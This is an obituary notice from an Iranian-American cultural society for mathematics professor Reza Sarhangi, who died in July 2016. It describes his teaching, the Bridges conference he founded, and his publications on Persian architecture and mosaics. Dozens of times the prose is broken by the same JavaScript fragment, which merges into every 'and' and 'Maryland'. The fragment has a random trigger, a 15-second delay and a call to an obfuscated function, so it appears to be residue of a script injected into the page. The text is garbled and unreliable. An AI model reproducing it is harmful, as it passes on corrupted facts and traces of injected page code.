It is with our deepest sorrow to inform you that professor **Reza Sarhangi** passed away on July 1, 2016 from complications following heart surgery in Marylandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and. Our condolences go out to his beloved wife Mehri Arfaei andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and his beloved daughters Maryam andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Mona.

Professor Reza Sarhangi was a professor of mathematics at Towson University in Marylandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and. He was also the founder andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and President of the Bridges Organization, which oversees the annual international conference of *Bridges: Mathematical Connections in Art, Music, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Science. *

Sarhangi was a mathematics educator, graphic art designer, drama teacher, playwright, theater director**,** andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and scene designer in Iran before moving to the United States in 1986. He completed a PhD in Applied Mathematics, in Control Theory, under the supervision of the late Professor H.W. Wang, at Wichita State University in Kansas. During his time in Kansas, he taught mathematics andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and was the Chair of the Mathematics Department at Southwestern College in Winfield, Kansas (1994-2000).

During 1996-1997, he coordinated a program involving technological applications for mathematical studies. This program was recognized nationwide as one of 20* Innovative Programs Using Technology in Mathematics Service Courses,* supported by the Annenberg/CPB Project, the National Science Foundation (NSF), andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Central Michigan University. In 1997, with the help of a group of students, he wrote andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and directed a drama entitled “*Miracle in Bus Station Number 13*” in Winfield, Kansas. He received the 2000 Campus-wide* Fassnacht Exemplary Teaching Award* at Southwestern College in April 2000.

At Towson University, Marylandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, Reza Sarhangi administered the Graduate Program in Mathematics Education for four years. In addition to writing more than fifty articles in mathematics andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and design, Sarhangi was the editor/co-editor of thirteen Bridges peer-reviewed proceedings books. He was also the author of a textbook in college geometry, *Elements of Geometry for Teachers*, Pearson. Sarhangi was one of the founders andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and an associate editor of the Journal of Mathematics andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the Arts, published by Taylor & Francis in London, UK.

Dr. Sarhangi had a wide range of interests both in mathematics andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in mathematics education. He had published articles in mathematics in prestigious journals such as* IEEE Transactions on Automatic Control, Journal of Vibrations andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Control, International Journal of Applied Mathematics andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Computer Science, International Journal of Pure andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Applied Mathematics*, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and* International Journal of Systems Science. *His papers in mathematics education had appeared in the *Ohio Journal of School Mathematics*, *Journal of The Marylandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Council of Teachers of Mathematics, Notes:* *The Canadian Mathematical Society Journal, Journal of Wisconsin Teacher of Mathematics, *andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in mathematics magazines such as *Math Horizons *(the Mathematical Association of America), andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and *Pi in the Sky* (the Pacific Institute for the Mathematical Sciences, Canada).

He was a keynote speaker in places such as the Banff International Research Station in Mathematical Innovations andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Discovery, Canada, the London Knowledge Lab, the Hellenic Physics Society of Greece, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the Flemish Royal Academy of Belgium. His latest field of study was mathematics of Persian architecture andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mosaic designs. His papers in this field had appeared in the *Nexus Network Journal: Architecture andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Mathematics Online**,** **Journal of the Symmetrion (Symmetry, Culture andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Science),* *Visual Mathematics Journal*, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and* Journal of International Society for Iranian Studies.*

Dr. Reza Sarhangi was also the former board member of IACS andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and coordinator of IACS 'Persian Poetry andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Culture Nights'. Iranian American Cultural Society of Marylandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mourns his loss. His legacy will live on.

-- IACS Board of Directors